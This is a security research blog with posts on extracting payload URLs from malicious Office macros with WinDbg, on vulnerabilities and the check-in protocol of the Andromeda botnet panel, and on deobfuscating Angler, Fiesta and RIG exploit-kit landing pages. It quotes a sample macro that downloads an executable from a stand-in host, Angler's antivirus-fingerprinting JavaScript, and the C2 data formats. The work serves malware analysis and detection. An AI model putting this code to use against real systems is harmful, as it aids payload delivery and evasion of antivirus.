Visar inlägg med etikett obfuscation. Visa alla inlägg
Visar inlägg med etikett obfuscation. Visa alla inlägg

söndag 5 juni 2016

Loffice - Analyzing malicious documents using WinDbg

UPDATE: An updated version of loffice is available, details on the update is available here.

I found myself doing analysis of a larger number of malicious Office documents and Javascript "documents". And since the only thing I needed from them was the payload URL the manual analysis needed had to be automated to make it more efficient.

In the beginning I deobfuscated the documents by hand with some scripting included, but having seen the same type of documents over and over again I found myself just running the macro and extract the URL from memory. Still, there was too much manual work than I thought was needed, thinking that there must be a better, more controllable way.

Now, the result of this isn't really a new framework or package like oletools, rather I'm taking a different approach than doing analysis on the file itself while putting obfuscation out of play. This is inspired by dynamic analysis and debugging of regular malware executables.


Analysis beyond the document

VB-macro and Javascript can make use of for example MSXML2.XMLHTTP to interact with remote resources, this happens on a higher level compared to using WinAPI.

httpObject = CreateObject("MSXML2.XMLHTTP")
httpObject.Open "GET", "http://evil.domain/1.exe", False
httpObject.send()


The above is very simple but all of the magic responsible for making an actual HTTP-request is done behind the scenes. One of the things that is done is break down the URL in it's base components such as hostname and path before it can be used by Windows internal functions in for example WinInet.

MSXML2.XMLHTTP is built upon the URLmon which rely on WinInet. WinInet have a function for "cracking" a URL to its base components called InternetCrackUrl. So before a URL is retrieved it needs to be cracked which result in that any obfuscation plays a much smaller roll in the analysis as the deobfuscation takes place before InternetCrackUrl is called.

So rather than attacking the document at a script-level, we're attacking it on a lower level with a debugger. Lets look at an example how this works in practice.

WinDbg is the weapon of choice. For this example I'm using a malicious Word document from one of the Dridex campaigns. So by launching Word and attaching WinDbg and setting a breakpoint on InternetCrackUrlW it's not long before the breakpoint is hit when enabling macro inside the document.



With execution halted on the first instruction in InternetCrackUrlW, the parameters to the function is available on the stack, including the URL. The URL is the first argument passed and is found on ESP+4 (as I'm running on 32-bit).




So basically, without having to deobfuscate any code or uploading the document to a sandbox, a URL is found pointing to an executable which can be used to do further analysis.


Loffice - Lazy Office Analyzer

The beauty of WinDbg is that there is a Python module for controlling the debugger called WinAppDbg. If you haven't heard of or used it, I highly recommend looking into it, extremely useful.

What's essentially needed is to set a breakpoint on InternetCrackUrl as soon as wininet.dll is loaded into memory and reading the URL when the breakpoint is hit.

So I wrote a utility (Loffice) that makes use of this technique. It also includes a few other functions such as CreateFileW and CreateProcessW, these will enable extraction of the file path which a file will be written to and also if any new processes are to be launched.

WinInet isn't the only library that can be used to interact with an URL through macros and scripts, there is also WinHTTP, this is covered via WinHTTPCrackUrl, thereby covering both WinHTTP- and WinInet-based URL fetching.

To make it more dynamic I added some options on how loffice should behave when hitting a breakpoint.


Running loffice on a Word document and a Javascript "document":



One thing to note is that if loffice is told to exit on first URL extraction it would also exit if a new process is created. This is to make sure that control over the execution isn't lost to another process due to no URLs' found in the document.

I'll look into using hooks instead of breakpoints later on to be able to control the results of HTTP-related calls which would enable a higher chance of extracting all of the URLs' in a document/script instead of only the first. This is useful if a document only fetch from the first URL if it succeds.

Summary

So this isn't really your stand-alone tool for static analysis but rather a utility for applying controlled dynamic analysis on documents and scripts.

Rather than having to keep up with (de)obfuscation techniques, updating scripts or doing manual deobfuscation it's possible to let the host application do all the deobfuscation and take over when the interesting stuff such as HTTP requests are to be made.

This does, as you might have figured out rely on WinDbg and Microsoft Office. There is currently only supported on 32-bit systems (for now).

This initial version is basically a proof of concept that I will continue to work on. If you've got any thoughts/comments/suggestions, let me know.

Small update on the project

So after some time I got around to do put some more work into this. The above details the background of the project, since then I've added support for detecting and bypassing some anti-analysis via WMI but also exit on process creation via WMI, which now should the most common ways of creating processes from macros/scripts.

Loffice now supports 64-bit as well, I do however recommend that you don't mix winappdbg and Python version (32/64-bit), this is a warning from winappdbg the developer.

Loffice is available on Github.

torsdag 9 oktober 2014

Andromeda - Vulnerabilities and Enumeration

Andromeda has been around for quite some time and is a well known loader capable of both formgrabbing and keylogging. The bot has been well documented on several blogs around the web, however, I've not seen anyone taking a closer look at the panel source code, so when I stumbled upon the latest version of the panel I decided to take a look to see if there is anything useful in terms of vulnerabilities.

I was able to acquire logs during one of my investigations which illustrate how Andromeda is sold to the buyers and how to acquire the panel. It's sold through using an automated system, commands available to the buyer is shown below:
Available commands for buyers

Admin panel

The panel comes in a password protected RAR-archive which holds:
Andromeda Panel
Check out this post by @kafeine on how to panel looks in general, this post focus mostly on the source code and functionality.

Starting from the top with adm.php it is packed:

After unpacking and formatting it ends up with a layer of string obfuscation as shown in the extract:
Unpacked code with obfuscated strings
The strings are decoded using the below function where the first parameter is the encoded string and the second is the key:
Function for decoding strings



Using that same function together with some PHP "preg_match-magic" the code ends up much more readable.

PHP Code Injection (requires credentials)

One function that stood out in the code was SaveSettings:

SaveSettings to config (note: syntax is somewhat off)
The settings are written directly to file, without any checks for malformed content in the actual values. There is no validation done from the code where the function is called from either, opening up for PHP code injection.

Example:
Writing PHP code to config
Executing commands through config.php

Cross Site Scripting (requires credentials)

As it's possible to add tasks which are then listed in the panel, the code for adding them reveal that no validation is done for injecting for example Javascript and HTML:
Code for adding tasks to database
Leveraging the URL-field, whatever code that is injected will be executed if the tasklist is viewed.

Example:
Javascript saved in the URL field
Result of the Javascript while viewing tasklist


Command Enumeration (requires RC4 key)

Having established two vulnerabilities in the admin panel, the same type of code (obfuscation and naming convention) is also found in the gate (gate.php). Since Andromeda doesn't have the ability to upload files it ain't possible to remotely upload files, such as with the ZeuS remote update vulnerability.

However, it is however possible to communicate with the panel to retrieve commands and submit data in the form of keylogs and grabbed forms. The key can be acquired through debugging (out of scope in this post).

Code for parsing data from POST-request
The format used to doing a regular checkin is id:%lu|bid:%lu|os:%lu|a:%lu|rg:%lu, more can be found analyzing the binary (out of scope for this post). If the data is encrypted with the correct key and posted to the panel, the panel will respond with HTTP 200 OK and encrypted data if tasks have been configured.

The response is encrypted using the bot id as key.

If the wrong key is used to encrypt the data or the data is malformed, the panel will return HTTP 404 response.

Python makes it easy to automate all of this to enumerate commands from an existing server [script]:
Script for enumerating commands from panel

Uploading keylogs and formgrabs can be done by appending fg: or kl: followed by base64-encoded logs to the above format. Each grabbed form and each keylog is delimited by 0x01, the values in each log are delimited by 0x02 (for example user-agent, cookie and URL for forms grabbed).
Code for parsing uploaded logs
An example of formatting for keylogs before base64 encoding:
\x01<keylog>\x02<process caption>\x02<process name>\x01
Formgrabs:

\x01<cookie>\x02<form data>\x02<user-agent>\x02<URL>\x01

The data posted does however not execute in the panel as it gets escaped on output. But it does enable for leaving a message to the actor(s) running the panel.

Conclusion

The vulnerabilities might very well exist in more places but vulnerabilities specified does however enable for example researches to battle malware and malware campaigns.

By enumerating commands from the panel, it's possible to track the actors steps by downloading the malware and plugins that the bot is intended to download.

It's also possible to leave a message in the form of keylogs and formgrabs to let the actor(s) know that they are under the observation.

Recommended Reading














lördag 2 augusti 2014

Landingpages bites the dust - Angler

Basic structure

The landingpage is built up of two stages of obfuscation where there are five containers at the beginning of the page with obfuscated data (one for each line), each with it's own specific purpose. In the landingpage used in this example [pastebin] you'll find these five on lines 28-32.

After the five containers comes the function for deobfuscating and executing the code in the each container.

The section that comes next includes obfuscated strings which will be used by the code in the containers at the top, this includes domain and URI for the exploits.

The rest of the landingpage is simply just a decoy to make the page look "legit".

Client identification

Angler does not only use plugin-detection to identify vulnerable versions, it does also employ detection of installed anti-virus software. This is done through the code in the first container. The code can be found by setting a breakpoint on the line calling eval() in the deobfuscation-function:

Firefox Webdeveloper Debugger
The contents of HzV0 gives us the code:
  function gs7sfd(txt) {
      var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
      xmlDoc.async = true;
      xmlDoc.loadXML('');
      if (xmlDoc.parseError.errorCode != 0) {
          var err = "Error Code: " + xmlDoc.parseError.errorCode + "\n";
          err += "Error Reason: " + xmlDoc.parseError.reason;
          err += "Error Line: " + xmlDoc.parseError.line;
          if (err.indexOf("-2147023083") > 0) {
              return 1;
          } else {
              return 0;
          }
      }
      return 0;
  }
  if (gs7sfd("c:\\Windows\\System32\\drivers\\kl1.sys") || gs7sfd("c:\\windows\\system32\\drivers\\tmactmon.sys") || gs7sfd("c:\\windows\\system32\\drivers\\tmcomm.sys") || gs7sfd("c:\\windows\\system32\\drivers\\tmevtmgr.sys") || gs7sfd("c:\\windows\\system32\\drivers\\TMEBC32.sys") || gs7sfd("c:\\windows\\system32\\drivers\\tmeext.sys") || gs7sfd("c:\\windows\\system32\\drivers\\tmnciesc.sys") || gs7sfd("c:\\windows\\system32\\drivers\\tmtdi.sys")) {
      window['zxtbVDMp'] = true;
      BzJUQufh = '';
      window.sf325gtgs7sfdj = window.sf325gtgs7sfds = window.sf325gtgs7sfdf1 = window.sf325gtgs7sfdf2 = false;
  };


If it should find that if Kaspersky or TrendMicro anti-virus is installed, it will cancel the intrusion attempt as it's likely to fail and unwanted noise is created (alerts from anti-virus). Another interesting part is that if you look at the landingpage of RIG you'll find that it uses the exact same code, which is originally found in "Operation Snowman".

The code in the second container is responsible for checking the version of installed plugins, but also the function for decoding the strings listed in the original landingpage where the key is defined in the variable ending with 0:
Original landingpage on the left, code in second container on the right
The third contains the code for generating code used for loading a Silverlight exploit:
Original landingpage on the left, code in third container on the right
 The same approach is used for the Flash exploit. If it should be found that none of Silverlight, Flash or Java installed it would resort to Internet Explorer exploit if the version is > 10.

A summary of all deobfuscated sections can be found on pastebin. [pastebin]

Detection

Angler is one of the kits which have a generic look when it comes to the landingpage request, the response however is another story as shown above.

The top containers are changing from instance to instance but the variables after the deobfuscation function doesn't (i.e the variables ending with 0-11), they follow the same pattern. Some examples:
Three different landingpages
The one which is most noticeable is the variable ending with 0, which as shown earlier holds the deobfuscation key which is always 20 byte. Giving a suggested pattern of:
/[A-Za-z]{6}([0-9])?0\s=\s'[A-Za-z0-9]{20}',\x0a/


Resources

For those who use Snort/Suricata which only capture the trigger-packet, this script could help in decoding the strings and revealing the source domain. [pastebin]

More examples of Angler can be found from malware-traffic-analysis.net

fredag 25 juli 2014

Landingpages bites the dust - Fiesta

Fiesta is one of the kits which have been around for quite some time and haven't undergone any major changes. The URI have changed for the landingpage but not the landingpage itself.

Basic structure

Fiesta is using string obfuscation to hide links to exploits which then is concatenated to form the landingpage. There isn't much to it than that, moving on to the client identification and detection.

Client identification

Fiesta doesn't employ any detection for anti-virus or virtual environment as Angler nor using PluginDetect, but simply uses it's own implementation of detecting installed plugins.

It will run the detection for each plugin, top to bottom and directly after each check it will load an exploit if the plugin is found to be vulnerable as shown below (comments added by me):

The sample from above can be found here; [pastebin, raw]  [pastebin, decoded]

Detection

Fiesta have made small changes to the URI to the landingpage during the last year using for example:
domain.tld/anfjsf4/2
domain.tld/skejgq7/?1
domain.tld/ajdw2ja/osf3tyzhuohcvpxoythoclzqruiis6rxd9w

The landingpage however haven't been changed more than the obfuscation key, which is changed every 7 days (approximately).

The key can be identified in the first Javascript function in the response as shown in the PCAP's below:
Example one:
Example two:
Example three:

Example two and three is using the same key but the rest differs, for example function and variable names, the key however stays the same.

The same key will also be used for deobfuscating the IE exploit.

Resources

This script can be used to decode the strings in the landingpage [pastebin].
More examples of Fiesta can be found from malware-traffic-analysis.net




Landingpages bites the dust - RIG

 

 

Basic structure


RIG have adopted a "top-to-bottom"-approach when executing it's code. The page starts with checks for installed anti-virus before moving on to deobfuscate and execute exploits (more on this in the next section). Sample used in the post can be found [raw] and [decoded] (exploits).

The exploits are split up into sections where a portion of the code is concatenated into a long string for each line:
 Capture below show the decoding used when the all the portions have been concatenated:
This pattern repeats for every exploit found in the landingpage.

Client identification

At the very beginning RIG will check for the presence of Kaspersky and TrendMicro. What's interesting is the code used for checking if they're installed:

The code above is the exact same code used in the watering-hole attack "Operation Snowman" targeting US military personnel, the only modification is to make the code callable from a loop as it does in the landingpage.

The code used in Operation Snowman can be seen below, the only difference is that RIG ignores the check for EMET and goes for anti-virus instead.
Code from Blackploit


Since this check utilizes Microsoft.XMLDOM, it means that only users of Internet Explorer will exploitable. Any other browser will fail the check for anti-virus as the function itself will fail. If it's found to have none of the blacklisted anti-virus installed it will do a function re-assignment of String which is later used in calling String.fromCharCode to decode each exploit section:



After each exploit section has been decoded, it's found that no checks are being made for which specific version of the plugins that is installed other than for Adobe Flash:

(Each section can be decoded by setting a breakpoint on the line calling appendChild in the landingpage and inspecting the content of the parameter (I used Firefox Debugger in the Web Developer tools)).

Detection

Much like Fiesta, RIG does change it's obfuscated strings, however, the deobfuscation routine stays the same so it's possible to use almost any line for simple string-matching signature.

It's also possible, since RIG doesn't obfuscate the AV-detection to trigger on for example c:\\windows\\system32 as there is almost no legitimate reason for calling files from system directory in webpages.